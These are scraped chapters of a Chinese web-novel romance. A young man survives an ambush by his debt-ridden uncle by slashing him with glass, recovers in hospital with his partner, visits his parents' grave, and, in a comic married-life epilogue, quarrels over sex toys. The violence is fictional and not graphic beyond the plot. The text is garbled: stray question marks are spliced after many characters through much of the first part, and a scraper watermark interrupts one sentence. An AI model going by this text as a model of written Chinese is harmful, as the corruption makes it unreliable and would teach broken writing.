尤其是他查过,郁书青和徐矿压根没领证,所以真的出了?意外,郁书青的全部财产,也落不到那个外姓人头上?。 郁锋也不想这样的,他真的是走?投无路了?。 怪郁书青,赌债原本没有那么多,偏偏不肯帮自己还,才滚雪球般越来越大?,以至于完全堵不上?窟窿,他锦衣玉食地长大?,何曾受过这样的苦?郁雪玲那边被他搜刮过,已经没剩什么东西了?,再者说,郁锋觉得母亲也太不争气,什么体己钱都不留,都是满眼的珠宝衣裳,他又不好给这些拿去变卖。 只有盯着郁书青了?。 郁锋手心隐隐冒汗,觉得这也不仅仅为了?自己,更为了?他的儿?子,读大?学的年纪,还天天沉迷游戏,将来还怎么进入公司的权力中心? 他咬牙决定,放手一搏。 安排的男人已经走?到灌木丛了?,屏住呼吸,朝着刚才发?出动静的地方探过身去,天罗地网,这下?连只兔子都别想逃窜,郁锋死死地注视着前方,心跳的声音很大?,还等什么,他咬牙切齿地催促:“快点!” 砖块被高高扬起?,直接砸向郁书青的藏身之处,打得灌木丛划拉作响,叶子疯狂摇晃—— 郁锋却耳畔一凉。 “别动,” 郁书青在?后面圈着他的脖子,形同鬼魅:“手机拿出来。” 冰凉的玻璃片挨着咽喉,郁锋完全反应不过来,直到温热的血缓缓淌下?,才杀猪般地叫起?:“你干什么……放手!” “我说了?别动,”郁书青声音很冷,毫不犹豫地把锋利的玻璃片递了?一分,压在?由于紧张而?暴起?的青筋上?,“听不懂人话吗?” 拿着砖块的手下?迟疑着对视,没敢再往前走?,因为眼前的一幕,实在?有些可怖。 郁锋嚎叫:“我是你叔叔!” “嗯,”郁书青一寸寸地拿玻璃片划他,“叔叔,别乱动。” 脸,脖颈,还有耳侧,郁书青下?手有点重,毕竟不是刀片,碎掉的玻璃再怎么锋利,依然要费不少力气,所以在?划过皮肤时,仿佛在?缓慢而?坚定地拉锯。 郁锋痛得腿都软了?,双手死死扒在?郁书青的小臂上?,呼吸不畅,没想到对方声东击西,不知往旁边的灌木丛扔了?什么东西,然后趁机绕到后面埋伏自己,他居然会犯这样的错误,他怎么可以犯这样的错误,以及—— 为什么郁书青会怀疑自己? 他憋得满脸通红,满脸是血,郁书青也满手是血,因为他逮哪儿?划哪儿?,却平静得像是在?裁纸。 这种被钝刀子似的划脸太恐怖了?,郁锋喘着粗气:“手、手机在?我兜里,你自己拿……疼!你他妈的疯了?!” 郁书青加重力气:“自己拿。” 郁锋惨叫连连,因为郁书青一点也不着急,也不在?乎前方傻眼的两人,他就死死地扼着郁锋的咽喉,大?有在?这儿?耗下?去的感?觉。 郁锋胸前已经被血染红了?,他哆嗦着掏出手机,举起?来:“拿、拿了?……” “给白可心打电话,”郁书青语速很快,“让她来接我。” 郁锋愣了?下?。 他原本以为,郁书青会逼着自己报警,刚才为了?引人出来,他还故意安排放了?伪造的警笛声,结果只是叫人接他? 说明郁书青不想给事情闹大?吗? 太好了?…… 那他是不是,也没必要走?到鱼死网破的一步了?。 电话很快拨通,白可心似乎才睡着似的,打着呵欠:“喂……都几点了?,怎么了??” 郁书青吞咽了?下?:“我骑摩托车进山,不小心撞石头上?摔了?,你来接我。” 对面惊呼一声:“哥,你受伤了??” “嗯,”郁书青继续道,“叔叔,你把位置告诉可心吧。” 郁锋顿了?下?,犹豫着不知该怎么办,是按照郁书青的意思,把这件事含糊过去,还是真的撕破脸,弄到你死我活呢? 发?现郁书青逃跑后,李昂没和自己一块过来,原因就是对方有□□,在?听到地下?室的动静后,他先带人出发?,李昂立刻回自家的储藏室取,此?时也该赶过来了?。 只要李昂到了?,那一切…… 可是就牵扯到了?自己。 迟疑的时间有点长,白可心还在?追问:“叔,你也在?哥旁边吗,你们在?哪儿?呀,可急死我了?!” 山路复杂,需要确切的地点。 不知是不是错觉,郁锋的余光瞥到,旁边的树林有人影闪过。 李昂回来了?吗! 他心一横,不管不顾地开口:“没事,我已经叫过救护车了?。” 白可心:“哎?” 与此?同时,郁锋大?吼一声,拼死地往外挣扎,而?郁书青可能?是手上?的血太多了?打滑,那枚玻璃碎片竟直直地飞走?,甩到一旁。 举着砖块的手下?立刻冲来—— “砰!” “砰砰!” 沉闷的撞击声响彻夜空,再次惊醒熟睡的鸟,不知名的野兽跟着嚎叫,头顶一枚皎洁的月亮,明亮到令人心惊。 徐矿拎着甩棍,剧烈地喘着气,风尘仆仆的模样。 那两个袭击的男人已经倒下?,而?郁锋则完全傻掉,呆呆地看着前方。 郁书青怔了?下?:“你……” 可徐矿没有理会他,而?是毫不犹豫地冲上?前,一脚踹在?郁锋身上?。 郁锋嗷一声捂住肚子,疼得浑身发?抖,徐矿下?手又黑又狠,专挑薄弱的地方去踹,郁书青也没拦,在?旁边静静地看着,直到郁锋完全停止挣扎后,徐矿才转身,眼睛红得要滴血。 “放心,”徐矿声音很哑,“死不了?。” 郁书青轻声:“我知道。” 徐矿说:“对不起?。” 直到这时,脸颊和手背被玻璃划出的伤才开始痛,郁书青抬起?胳膊擦脸:“你怎么才来呀。” “遇见那个李昂了?,”徐矿把甩棍丢下?,朝他一步步走?来,“处理的时候稍微耽误了?点时间,真的抱歉,一开始不知道你在?这里。” 郁书青的胳膊还没放下?:“可心呢?” “在?路上?,和警方一起?,放心,她很安全。” 郁书青“哦”了?一声。 徐矿在?他面前停下?,展开双臂:“过来。” 剩最后两步了?,他要郁书青自己走?过来。 过了?会儿?,郁书青把胳膊放下?,朝徐矿走?了?过去。 月光照着大?地。 徐矿抱住了?郁书青。 第76章 第 76 章 徐矿压根没时间解释, 自己为什么会出现在?这里。 太忙了。 他拿纸巾给郁书青擦脸,擦手,浑身脏兮兮的, 全是?血和污泥, 徐矿的手在?抖, 因为判断不出这血是?郁书青的, 还?是?郁锋的,他眼睛红得吓人, 死死地盯着郁书青的伤, 郁书青这会儿知道痛了, 痛得受不了, 一个个的伤口?都要指给徐矿看。 徐矿啥话都不会说了,就说我知道。 “手背,”掌心擦干净了, 郁书青把手翻过来, “擦伤了。” 徐矿就凑过去, 很认真地看:“疼吗?” “疼。” 郁书青又指自己的脸:“这里也是?, 我用衣服包着脑袋, 还?是?刮到,玻璃划得我好痛。” 徐矿避开?伤口?,摸了摸他的额头?:“看见了。” 除了受伤之外,郁书青身上也滚得全是?泥, 徐矿早就把自己的外套给人换上了, 但?是?鞋子不行,他就半跪下去, 用湿巾给郁书青擦鞋上的泥巴,警笛声远远传来, 带着闪烁的灯光,徐矿抬头?,眼睛亮晶晶的。 “看,”他打开?掌心,“刚才挂在?你裤子上了。” 一枚干燥的苍耳子躺在?上面,毛茸茸的,很扎手的样子。 郁书青接过,看了眼:“挺可?爱。” “是?啊,”徐矿也说,“很可?爱的。” 他还?半跪在?地上,一手抓着脏污的纸巾,另只手给郁书青摘苍耳子,也不知道这人刚才在?灌木丛里怎么打滚的,沾了好几颗枯萎的苍耳子,埋汰得不行,徐矿动作不紧不慢:“没关系,摘下来就好。” 郁书青跟着说:“嗯,摘下来就好了。” 徐矿站起来,看着郁书青的眼睛,对视的时候都笑了起来。 今天怎么搞的,俩人全变成?了小鹦鹉,跟人学舌。 坐进警车后,郁书青昏睡了过去,窝在?徐矿的怀里。 车辆颠簸,徐矿用自己的衣服裹着他,已经喂过水,也简单地吃了点东西,但?郁书青说想吐,就没敢继续让他吃,前面的白?可?心几次三番地扭头?,眼圈红红的,徐矿声音很轻,说放心吧,见面的时候我都摸过了,没骨折,也没有大出血的现象,应该问题不大。 他表现得很淡定,保护现场,配合警方,和医务人员给郁书青进行简单的包扎。 白?可?心嗓子也哑了,说知道了。 但?还?是?扭头?过来,抽了下鼻子:“那你呢?” “我?” 徐矿的神?情很轻松:“我也没问题,你别?担心了。” 话是?这样说,但?徐矿后背已经被冷汗湿透了,脸色煞白?,他现在?后怕得要死,完全不敢想自己要是?晚来一步,或者中间出什么岔子,会是?什么样的后果,他低下头?,不错眼珠地看郁书青熟睡的脸,把人搂得更紧,不愿松开?。 白?可?心没敢再?说什么,头?扭了回去,祈祷能快点到医院,她实在?慌得厉害。 深夜,道路畅通无阻。 医院灯火通明。 所有的检查做完,缝合也全部结束,医生认真地讲解目前的情况:“没有脑震荡和骨折,除了锐器划伤之外,就是?脱水现象比较严重……你还?好吗?” 徐矿笑笑:“还?好,您继续。” 医生把单子放下:“别?的没有了,住院观察两天就好。” 徐矿点头?:“行,麻烦您了。” 他从谈话室出来,没有直接去病房见郁书青,而是?坐在?走廊的长椅上,在?淡淡的消毒水味儿中,捂住了自己的脸。 不行,心跳得太快了。 看到浑身是?血的郁书青,徐矿差点没疯。 还?好他回来了。 还?好……一切都赶得及。 徐矿连着做了几个深呼吸,才站起来,往病房那边走,郁书青还?没醒,正?在?挂水,贴着纱布的脑袋埋在?枕头?里,眼皮儿阖着,睡得很安稳。 就是?脸色很白?,嘴唇也干。 徐矿坐在?旁边,不说话,就是?看,病房里只有他们?两个人,所有的杂事现在?都不用担心,郁雪玲那边有人陪着,警方也在?有条不紊地调查,现在?的郁书青只需要睡觉就好,天塌下来,都不干他的事。 可?郁书青还?是?醒了。 他眼眸和旁人有些?不太一样,瞳仁黑,眼白?清澈而亮,小时候甚至泛着淡淡的蛋壳青,这会儿里面也没什么血丝,很安静的样子。 徐矿伸手,摸了摸他的脸:“不睡了吗?” “睡不着。” 郁书青声音还?是?哑,说话也费力:“你给我讲故事吧。” 徐矿说:“好,你想听什么?” 郁书青说:“都好。” 天边已经慢慢亮起来了,病房内笼着晨曦的柔光,徐矿握着郁书青的手:“我给你讲讲,笨蛋是?怎么喜欢上一个人的,好吗?” 郁书青故意“嘶”了一声:“好矫情哦。” “我早就喜欢了,”徐矿喉结滚动,“我很早就喜欢他了,但?是?我太笨,你说的对……我真的很蠢,我甚至以为自己是?为了和他竞争……那个时候的他好孤独,我却没有发现,让他一个人走了那么久,我该死。” 徐矿深深地呼了一口?气。 “我该去抱抱他的,”徐矿哑着嗓子,“我为什么没有去呢,我真的无可?救药,还?差点失去了他。” 郁书青手背缠着纱布,行动就没那么灵敏,但?也努力去摸徐矿的脸:“没关系,你喜欢的人也是?笨蛋。” 徐矿鼻子一酸。 “你做的很好了,”郁书青柔声道,“帮了他很多,可?是?他也很笨,以至于最开?始意识到心意的时候,被吓了一跳……没有人教他怎么去爱,所以,原谅他好不好?” 他摸着徐矿湿润的睫毛:“你看,两个笨蛋在?世界上相遇,还?互相喜欢,多巧呀。” 郁书青很少有这样说情话的时刻,徐矿愣住,呆呆地看着对方。 “更巧的是?,” 郁书青笑了起来:“笨蛋也很早就喜欢你了。” “看,我们?真是?天生一对。”- 郁书青没在?医院住太久。 家里乱成?一锅粥,亲戚之间的关系错综复杂,郁锋的被捕无异于一颗炸-弹,吵得所有人鸡飞狗跳,更牵扯出一些?见不得光的腌臜。 “都不用管,”白?可?心目光冷漠,“全部交给我处理。” 她每天晚上都会把情况汇总,挑最要紧的发送给郁书青过目,原本徐矿还?不想让郁书青操心,但?犹豫了下,还?是?放手了。 包括安抚郁雪玲,也由白?可?心负责安排。 郁锋的子女是?想过来的,被拦在?了外面,其实郁书青对那几个孩子没意见,不过现在?兵荒马乱,人人自危,他怕老太太情绪激动,再?出点什么问题,还?好郁为民这几天状态不错,和老友一起陪着郁雪玲,虽然不理解发生什么事,但?看到小妹在?哭,郁为民还?是?绞尽脑汁地哄她开?心,而郁雪玲呢,再?怎么崩溃,只要在?丈夫身边,就能止住眼泪。 徐矿把郁书青接回自己家,任务下达,郁书青不许再?劳神?费心,安心修养就好。 也行,郁书青没反对。 因为出院后的郁书青,矫情得厉害。 徒手砸玻璃的霸气劲儿没了,喝的水稍微烫了点就不愿意,徐矿乐意惯着他,几乎给他拿小孩看,可?能姗姗来迟的叛逆期结束,郁书青倒退回了不懂事的童年森*晚*整*理,理直气壮地闹人撒泼。 “五年级的时候,你把我家的秋千弄坏了!” 徐矿从后面抱着他:“我再?给你扎一个秋千架。” “还?有,你借我作业抄,结果把我不小心写错的数字也照着抄上去,害得老师连我都骂!” 徐矿嘟嘟囔囔:“谁知道那个老师变态,居然查作业查到了别?的班……” 郁书青揪他的脸:“不管,你给我赔……” “赔,当然赔!” 边说,边啄木鸟似的去亲郁书青。 郁书青捂徐矿的嘴:“你别?叨我了,脑袋疼……” 徐矿就立刻停下,很紧张地看着他。 自从头?部再?次受伤后,郁书青怀疑,徐矿可?能以为自己撞傻了,总是?没事就盯着他的后脑勺看,每天早上也都要煮核桃豆浆,尽管他一再?表示,放心吧我聪明着呢,对方还?是?不相信,大晚上都睡着了,还?要偷偷伸手,摸一摸他的额头?。 算了吧,郁书青睡得迷迷糊糊,懒得搭理。 虽然没有明说,但?他已经可?以把童年的玩闹,拿来跟徐矿对着吵,表明自己恢复记忆,你以前对我做的缺德事,可?别?想赖掉。 徐矿没问,原因是?害怕,怕一旦过度刺激,会让郁书青受不了,他小心翼翼地伺候着,别?说什么恢复记忆,或者坏人绳之以法了,徐矿现在?就一个愿望,郁书青能好好的就行。 拆线那天,家庭医生走后,郁书青不爽地照了半天镜子,回头?看过来:“会留疤吗?” 徐矿仔细端详了下:“不会。” 郁书青立马接话:“那咱出去转转?” 说是?受伤不让见风,这几天他一直憋在?屋里,虽说别?墅带前后花园,但?总归有点郁闷。 何况郁锋,高元和李昂都已经被羁押,相关人员全部被控制,郁书青满脸的憧憬:“我想出去玩!” 徐矿犹豫了下—— 这几天,自己居然产生了种阴暗而卑劣的想法,想给郁书青锁在?屋里,外面谁都别?想见到,所有的风雨都休想碰他,甚至恨不得穿越回过去,给小小的郁书青偷来自己养,让他快快乐乐地在?锦绣堆里长大,该不懂事就不懂事,该叛逆就叛逆,做一朵温室里,娇滴滴的花。 可?温室的花,哪有有外面的坚韧漂亮? “行了,”郁书青笑了,“别?琢磨了,我有事要带你……去一个地方。” 徐矿拉过对方的手:“哪儿?” “还?记得生日礼物吗,”郁书青神?神?秘秘的,“除了那个记录的笔记本之外,我还?要送你一株玫瑰,我现在?才想起来,把它放在?哪里了。” 这次前往郊外,徐矿坚决不同意郁书青骑摩托,郁书青简单挣扎了下,就放弃,骂骂咧咧地坐在?副驾驶上。 “等你完全恢复,想怎么跑山我都陪你。” “呵,你就是?嫌我脸上的疤。” 徐矿转动方向?盘:“这和疤有什么关系,再?说了,就额头?上一点,都快看不见了……” 郁书青面无表情:“你说的完全恢复,不就是?指疤痕吗?” 到地点了,徐矿一脚踩下刹车:“简直危言耸听!” “疤怎么了,男人就要有疤,这是?荣誉和勇气的象征,”他解开?郁书青的安全带,“我手上也有疤啊,多帅气!再?说小咪你拿玻璃片划人的时候,真的好性感看得我春心萌动好想嫁给你……” 郁书青表情复杂,转身去拉车门。 “等一下!” 徐矿严肃道:“我还?没说完!” 郁书青:“……不用说了。” “那怎么可?以呢,我必须纠正?你对于外表的看法,首先,对于艺术审美而言,不是?完美精致的就一定是?好的,缺憾也是?一种美,并且能放大本身的灵气,因此疤痕不属于遗憾,没有必要用‘嫌’这个字来形容它。” 郁书青:“我就随口?一提……” 徐矿一把捏着他的下巴,挑起眉梢:“更何况,我也不是?因为这张脸才爱上你的,虽然你长得还?可?以啦但?我不是?颜控,根本不是?那么肤浅的人,你看我从小就喜欢你了,但?那个时候你也没现在?这么漂亮……草啊你怎么长得这么可?爱呜呜呜让我亲亲……” 郁书青努力给徐矿的脸往外推,但?没挣开?,还?是?被捧着亲了下。 也只有一下。 因为徐矿很快就直起身子,抚平郁书青衬衫的一点点褶皱,笑得很温柔:“走吧?” 郁书青喉头?发紧:“好。” 他们?下车,怀里抱着从后座拿下的花。 是?粉玫瑰和洋桔梗。 “我妈妈喜欢这个,”郁书青边走边说,“所以爸爸每次都只买这两种花……我以前比较敷衍,没爸爸那么用心,来看他们?的时候,都是?看到什么,就买什么,也经常什么都不带,两手空空就来了。” 他们?在?一处墓碑前停下。 郁书青把怀里的花放在?地上,蹲下,用袖子擦了擦照片,转头?过来:“你看,我长得像谁?” 徐矿先鞠了个躬,再?跟着放下花,认真看了看:“像妈妈。” “嗯,”郁书青很得意的样子,“我妈妈比较漂亮。” 说完,他就转回去,重新看向?照片上的笑脸:“妈,你看我找的对象,长得不错吧,你也认识的。” 风吹起额前的发,露出清晰的眉眼,郁书青一直在?笑,在?讲,说他们?俩是?怎么重逢的,又怎么天天吵吵闹闹的,说你放心,徐矿做饭还?挺好吃,比爸爸强。 徐矿安静地听着。 他们?一直待到了暮色四合。 “……奇怪,我记得在?这里呀,”郁书青直起身,满脸无奈,“看来,是?真的没活下来。” 徐矿站在?后面,喉结滚动:“你……真的都想起来了?” 郁书青淡定地点头?:“嗯。” 所有的,全部,一切,自己怎么因为误会而咬了徐矿的肩,两人不欢而散,接下来又被高元骚扰纠缠,一场意外的车祸,他通通都想了起来。 以及那株玫瑰的结果。 青春期的别?扭和羞赧,无可?言说的痛苦和不安,郁书青不知道该去哪里,他只好一个人抱着盆玫瑰,来到爸爸妈妈的墓前。 特别?伤心,还?哭了呢。 那个年纪,把喜欢看成?一件天大的事。 也因为茫然,将所有的问题都归于自己的错。 那株瘦条的玫瑰,被种在?了墓园的角落,耷拉着叶,一朵红花静静地开?。 如今哪儿还?有玫瑰的影子,根据记忆找来找去,也只寻得一大片的野草。 徐矿从后面抱着他,把脸埋在?郁书青的肩膀上:“没关系,等到春天来了,这里会长出很多的狗尾巴草和蒲公英,和玫瑰一样好看。” 郁书青垂着睫毛:“好。” “喜欢玫瑰的话,”徐矿声音很闷,“我就给你种满山坡的玫瑰,喜欢什么,我们?都可?以种,我们?会有属于自己的家,小倒霉蛋的劫也过去了,以后都顺顺利利。” 郁书青笑了起来,换的却是?另一个话题:“那天,你为什么没有上飞机?” 还?能有为什么。 因为在?机场,徐矿就后悔了。 他越想越难受。 按照之前的打算,是?好好追求人家,按部就班地谈恋爱,求婚,再?共同设计一场浪漫的婚礼,可?那天不知道为什么,徐矿的心跳得有些?快,很慌。 候机室里有个阿姨,大概是?第一次坐飞机,一直紧张地双手合十,喃喃自语地祷告:“菩萨保佑,千万要平平安安啊。” 徐矿从来不信这个的。 但?很突兀的,他想起了所谓的大师,说郁书青命里有劫,不结婚的话,劫就很难过去。 他俩没领证,没摆正?式的席,按理说不算真正?的结婚。 徐矿陷入思考。 大概是?表情太凝重,被旁边的阿姨发现,对方不好意思地笑了下,说小伙子别?介意,我胆小,就图个心安。 徐矿明白?的,他就想图郁书青平安。 没有登上飞机,而是?掉头?离开?机场,去了另一个地方。 也是?用手机搜到的,离自己最近的寺庙。 佛音庄严,金刚怒目,徐矿这辈子第一次踏足这种地方,面对威严的千年古刹。 远方有僧人在?撞钟,青烟缭绕,檐下的金铃一齐晃动,徐矿突然鼻尖一酸,落下泪来。 他一点也不觉得丢脸,大大方方站着,任凭风把脸上的湿凉吹干,隔着香坛,和眉目微垂的菩萨相望。 空灵的诵经声传来。 徐矿跪在?蒲团上,双手合十。 他向?菩萨磕头?。 “希望郁书青的劫能过去,无病无灾,这辈子都平平安安。” 【正文完】 第77章 第 77 章 都说徐矿这辈子, 最恨的人就是郁书青。 “你?们每天都做?” “嗯……但不是爱,是恨。” 咖啡馆里没什?么人,午后只有安静的绿植在微微晃动, 透明玻璃上映出秋季梧桐的树影, 男人斜靠在沙发?上, 一身剪裁良好的薄款风衣, 面料挺括,两条笔直的长腿被包裹在西?装裤里, 明明穿着考究, 但整个人都散着佻达的气质。 看上去, 还有点郁闷。 徐矿生来眉目英俊, 不说话也带三分笑意,嘴角扬起浅浅的弧度,搅动咖啡时, 能看到无?名指上的戒指, 极其?有存在感。 偶有路人从旁边经过, 由于英俊的相貌而?多看了两眼, 立刻就会注意到那枚戒指, 因为男人有意无?意似的,总是不经意间抬手,让璀璨的光折射,甚至闪到了对面好友的眼。 好友神情复杂。 “我们的婚姻只是一场交易罢了。”徐矿放下咖啡杯, 慢条斯理道:“你?也不必用这种眼神看着我……什?么?” 徐矿“啧”了一声?。 “我才没有被他所迷惑, 你?们不懂,尤其?是像你?这种没结婚的人, 当然看不出来……都说了我没有被迷惑,我有自己的节奏和安排。” “真的!” “比如我为了报复他, 会亲手教他怎么给丈夫打领带,我每天都这样?做,久而?久之,他已经不再用鞋子踩我的脚了,晚上的时候也是,我会用尽浑身解数去挑逗他。” 徐矿竖起一根指头,晃来晃:“别误会,我只是为了自己爽而?已。” 除了咖啡,桌子上还摆了一份提拉米苏,但是没人碰,散出一点微甜的香,可依然缓解不了好友表情的扭曲。 “所以——” 徐矿淡定地端起咖啡杯,无?名指上的戒指格外显眼:“今晚收留……啊不,今晚我住你?家怎么样??” 好友愣了下:“什?么,你?是被赶出来了?” “没有,”徐矿矢口否认,“你?知道的,既然是交易婚姻,那总会有一些意见?上的不合罢了!” “郁书青不让你?回家睡?” “怎么可能,他一见?我就叫老公?呢,他超爱!” “……那你?干嘛要睡我家,不是被赶出去了?” “你?知道的,”徐矿认真回答,“我这人对于睡眠要求很高,所以连着睡几天沙发?有些受不了,而?协议婚姻就是这点不好,虽然他很爱我,但还是为了面子咳咳……总而?言之,今晚他让我睡门外走廊。” 好友面无?表情。 “而?你?,我的朋友!” 徐矿自信地挑了下眉梢:“住得离我们家最近,这样?晚上郁书青受不了,思念我的怀抱,我十分钟以内就可以赶回去!万一他想找我求和,不好意思说,自己绞尽脑汁地找台阶,比如为我煮糖水喝的话,回家还是热着呢嘿嘿……” “哎?” 徐矿站起来:“你?干什?么,别走啊!” 好友拿起外套,脸上一片死寂:“在家里看我爸妈秀恩爱,出门还要看你?秀恩爱,谢谢,狗粮已经完全吃饱了。” 徐矿反驳:“我没有秀恩爱啊!” 好友:“呵呵。” 好友:“给你?那爪子从头发?上拿下来,别晃,戒指我看见?了!两只眼睛都看见?了!” 徐矿:“你?这人真莫名其?妙,我没有晃啊,只是稍微整理下头发?而?已……算了,这会儿走也行,我还得接他下班,你?都不知道他有多讨厌,无?论我有多忙,非要我去接才行,不然就闹脾气,真是的。” 安静了几秒钟。 好友扭过脸,抬高音量:“……之前?是怎么说来着,你?和郁书青结婚,就是让他再也无?法?过平凡的生活,变着法?儿做好吃的是破坏他的完美身材,哐哐往人家公?司砸钱,是为了让他忙得陀螺上天?” 徐矿:“没错。” 表情格外嚣张。 好友沉默片刻:“……你?特么的是真敢说啊。” 徐矿:“嘻嘻。” 但下一秒,好友扬起手机:“刚才你?说的那些话,我已经给郁书青发?过去了。” 徐矿:“?” 他立马不嘻嘻了,上去一把抢过手机,不可置信:“你?这是在做什?么!” “郁书青交代的啊,”好友冷哼一声?,“你?约我喝咖啡的时候,他就在我旁边,说你?憋了这么久肯定没安好心,要逮着我骂他一顿出气,所以——” 他们的共同?好友,也就是曾经的童年玩伴眨了眨眼,终于露出了今天的第一个笑容。 “你?小子,今晚是不是要睡大街啦?” “你老婆不要你啦!”- 徐矿有点慌。 这种状态反应到了开车上,也就是认不出回家的路,七拐八绕,居然走错道了,把原本?二十分钟的路,拉长到了四十多分钟。 郁书青倒是没什么反应,微阖着睫毛,似在打盹。 时值深秋,天黑得也快了,这会儿外面已是倦鸟归巢,光线黯淡,楼宇都亮起了盏盏的灯,在等待晚归的爱人。 “老公?。” 车辆缓缓停下,徐矿鼓起勇气,把手放在郁书青的手背上:“我错了。” 郁书青没反应。 徐矿暗叫一声?不好。 以前?他惹到郁书青,都是老老实?实?地说老公?我错了,对方肯定会冷哼一声?说你?错哪儿了,我看你?挺好的,没什?么错的地方啊。 只要郁书青开口,那一切都好办。 就怕郁书青不给反应。 徐矿解开安全带,大半个身子都凑了过来,亲亲郁书青的脸颊和眼皮,把自己的脸贴人家掌心上蹭,黏黏糊糊的:“老公?我真的错了,下次再也不敢了,您就原谅我嘛……” 其?实?这事,还真怪徐矿。 徐矿自己都理亏。 自从互相表明心意,真正在一起,也得到了法?律上的认可后,郁书青对徐矿挺纵容的,几乎是无?条件的信任,而?在床上的时候,只要别太过火,都随便徐矿怎么玩。 搞得徐矿有点得意忘形。 以至于那天,拿了一个形状逼真的玩具出来,跃跃欲试地看着郁书青,眼睛里满是期待和憧憬。 郁书青倒抽一口凉气:“我不要。” 徐矿:“试试嘛!” 郁书青:“想都别想!” 他打死也不可能把这玩意放进?身体! 徐矿不死心,甚至按下开关开始讲解,嘴上哔哔不停:“你?看,这个震动频率不高的,很温和,我做了好多功课,都说新手最好先用这个入门,安全性也好……” “等等,”郁书青悚然一惊,“你?说什?么,入门,还有剩下的?” 徐矿都快摇尾巴了:“是哒。” 他从床边拎起一个包装精美的礼物盒,兴奋地打开给郁书青看。 怎么说呢,琳琅满目,花里胡哨,极为恶俗。 郁书青只看了一眼,就感觉眼睛受到了污染,一脚踹了过去,直接把盒子给踢飞。 然后,各种颜色的手铐,铃铛,夹子,皮鞭,眼罩,不同?尺寸的玩具,腿-环颈环以及认不出来绑哪个部位的环,粉红色的缎带,会跳动的蛋,散了一床。 徐矿羞涩一笑。 顺势躺下。 “老公?,我也和玩具一起摔床上了,要你?自己捡哦。” 郁书青闭了闭眼睛。 这种想踩上去又怕对方爽到的感觉,已经很久没有出现过了。 他俩结婚大半年了,各种亲密的玩法?都试过,但郁书青还是接受不了这种,不是说羞-耻,就是别扭,想想都觉得头皮发?麻,表示不行,放不进?去,徐矿还孜孜不倦地劝,说你?看我都能放进?去,这种又不…… 那天晚上,徐矿睡的沙发?。 “不是你?马上就要出差吗,”徐矿嗷嗷大叫,“就想我不在你?身边的时候,你?也可以快乐啊!” 他挺喜欢和郁书青尝试新鲜事物的。 隔着门板,传来郁书青冷硬的声?音:“那我是不是也得给你?买点什?么,这样?我不在你?身边,你?也能爽?” “完全不用!” 徐矿自信道:“我什?么都不要!只需要闻你?的衣服就好,别说衣服了,哪怕只是看看照片,或者听?下声?音,甚至只要想想你?,我就可以的!” 门“哐当”一声?打开。 郁书青咬牙切齿:“变态!” 徐矿一把搂住郁书青的腰,给人打横抱起:“变态喜欢你?。” 那天晚上,所有的小玩具都没派上用场。 徐矿过完嘴瘾,给东西?都收了起来,虽然他挺想尝试的,但是也得尊重对方,在郁书青允许的前?提下才行。 但偏偏出了个意外。 就是有个形状逼真的玩具,散落的时候滚到了枕头边,他俩没看见?,第二天郁书青出差,俩人晚上闹得太过火,都睡过头,还是被白可心的电话吵醒的。 “都几点了,快点!我到楼下了!” 郁书青直接冲去浴室洗澡,徐矿睡眼惺忪地给他检查行李——早都装好了,但是不放心,又倒在床上数了一遍,郁书青从浴室里出来,还在给自己擦头发?,催促说快点,徐矿就“哦”了一声?,胳膊一揽,把床上零散的全部东西?都给塞了进?去。 他那天是真的困,眼睛都睁不开。 至此,一切都很顺利。 直到下塌酒店,郁书青当着白可心和两位助理的面,打开行李箱,准备给手机充电的时候—— 赫然出现了一枚粉红色的橡胶勾八。 郁书青这辈子,都没有听?到过如此整齐的抽气声?。 他“啪”地一下给行李箱阖上了。 其?实?还好,没有想象中尴尬,因为是在酒店房间里,都属于自己人,没有让合作方或者陌生人看到,而?三位成年人,也都保持着沉默,绝口不提那一眼的震撼。 回家后,郁书青第一件事就是把徐矿从自己身上掀开,扔了出去。 徐矿舔得正起劲,莫名被扔到客厅,没反应过来。 到了晚上,郁书青还不让他回屋睡,徐矿才知道完蛋。 “……老公?,我真的错了。” 至此,已经睡了几晚沙发?,今晚还有可能被逐出家门的徐矿,彻底老实?,在车里各种撒娇,拿脑袋往人家身上拱。 “我以后再也不敢了。” “意外,我不是故意的……” “老公?你?理理我吧好不好,没有你?我可怎么活啊老公?……” 郁书青这才掀起眼皮儿,没什?么表情地看了他一眼。 徐矿不敢凑过去亲,就眼巴巴地瞅着人。 “错哪儿了?” “哪儿都错了。” “以后怎么办?” “以后我乖,再也不敢了。” 郁书青扬起嘴角:“哦,然后在朋友面前?说你?恨我。” 徐矿满脸委屈:“这不是你?安排的人设吗……” 两人是去年领证的,没有大张旗鼓摆婚宴,只邀请了至亲好友,在太平洋的一处小岛举行了婚礼,大家聚到一块儿嘻嘻哈哈,说莫非你?们初中就早恋,郁书青开玩笑说没有,协议婚姻,全世界我最讨厌的人就是徐矿了。 从此,他俩有时候亲热,也会这样?互相打趣。 “挺好的,”郁书青收回目光,“所以我让讨厌的人睡大街,也很正常吧?” 徐矿惊恐:“不行!” 他一把抱住郁书青的胳膊:“我们是登记过的,法?律都会保护我!” 郁书青:“你?把那玩意塞我行李里,法?律可没保护我。” 徐矿张了张嘴:“我……” “所以,”郁书青抽出自己的胳膊,微微一笑,“今晚你?可以回家,但是——” 他伸手,点在徐矿的嘴唇上。 “要乖。” “因为只有听?话的狗,才被允许上床睡觉。”- 曾经姑姑徐宝珠还笑过自己,说矿啊你?这么拉了,和郁书青在一起,怎么就被吃得死死的? 徐矿说我乐意。 他就喜欢这样?,哄着他,爱着他,天天地缠着郁书青。 自从结婚后,他们去了不少地方,似乎是想把所有的遗憾全部弥补,郁书青和以前?比开朗不少,每到一处景点,都会拍照给郁雪玲看。 “奶奶,您瞧!” 家里的事也尘埃落地,做错事的人受到应有的惩罚,判决下达,郁雪玲最开始有些接受不了,不明白为什?么一家人要闹成这样?,但郁为民抚着她的头发?,说我们也做错了,你?不要责怪小咪。 郁雪玲还以为他清醒了,很惊喜地问,说大哥,你?理解现在的情况了吗? 郁为民点头,说是啊,小咪想要一块糖果?而?已,我却说你?要乖才能给你?……孩子都不出去玩,没以前?活泼了,是我们做错了。 他说小妹,你?要让孩子出去玩,快快乐乐的。 郁雪玲是慢慢想通的。 因为她终于意识到,自己那个总是绷着一根弦,完美而?省心的孙子,似乎是真的不快乐。 还好,现在他愿意走出去,看一看遥远的山川。 郁书青拍照,徐矿就会画画,把雀跃的身影也一块儿留在画布中,油彩涂抹出大片的绚烂,不仅有壮阔的景象,还有他的爱人。 到了晚上,他偶尔会在郁书青的身上作画。 为什?么是偶尔,因为郁书青害臊,也会痒痒。 